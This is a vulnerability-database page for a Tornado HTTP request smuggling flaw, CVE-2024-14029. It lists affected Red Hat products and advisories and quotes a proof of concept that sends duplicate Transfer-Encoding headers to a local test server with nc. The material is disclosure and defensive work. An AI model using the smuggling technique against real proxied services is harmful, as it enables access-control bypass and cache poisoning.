CVE-2024-14029
highpriority · track · 30EPSS 0.004 · 30 %ileDEUSEPSS · scored 2026-10-27
Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–critical · 5.3–9
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (10)
Products and version ranges known to be affected.
- Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Supportall versionscert_bundDEcpe:/o:redhat:enterprise_linux:8.4_advanced_mission_critical_update_support
- Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-Onall versionscert_bundDEcpe:/o:redhat:enterprise_linux:8.4_extended_update_support_long-life_add-on
- Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Supportall versionscert_bundDEcpe:/o:redhat:enterprise_linux:8.6_advanced_mission_critical_update_support
- Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-Onall versionscert_bundDEcpe:/o:redhat:enterprise_linux:8.6_extended_update_support_long-life_add-on
- Red Hat Enterprise Linux 8.8 Telecommunications Update Serviceall versionscert_bundDEcpe:/o:redhat:enterprise_linux:8.8_telecommunications_update_service
- Red Hat Enterprise Linux 8.8 Update Services for SAP Solutionsall versionscert_bundDEcpe:/o:redhat:enterprise_linux:8.8_update_services_for_sap_solutions
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-4029Red Hat Enterprise Linux (python-tornado, resteasy-core, bubblewrap, pgvector): Mehrere SchwachstellenDeutsch2026-10-19csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um Sicherheitsvorkehrungen zu umgehen, beliebigen Code auszuführen, Daten zu manipulieren und offenzulegen oder einen Denial-of-Service-Angriff auszulösen.
- GHSA-753j-mpmx-qq6gInconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado2024-06-06ghsa · osvUS
### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this. ### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request ``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure. ### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.
sources
Which sources assert this record, and when.
references (2) nvd
External citations — patches, advisories, analysis.
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan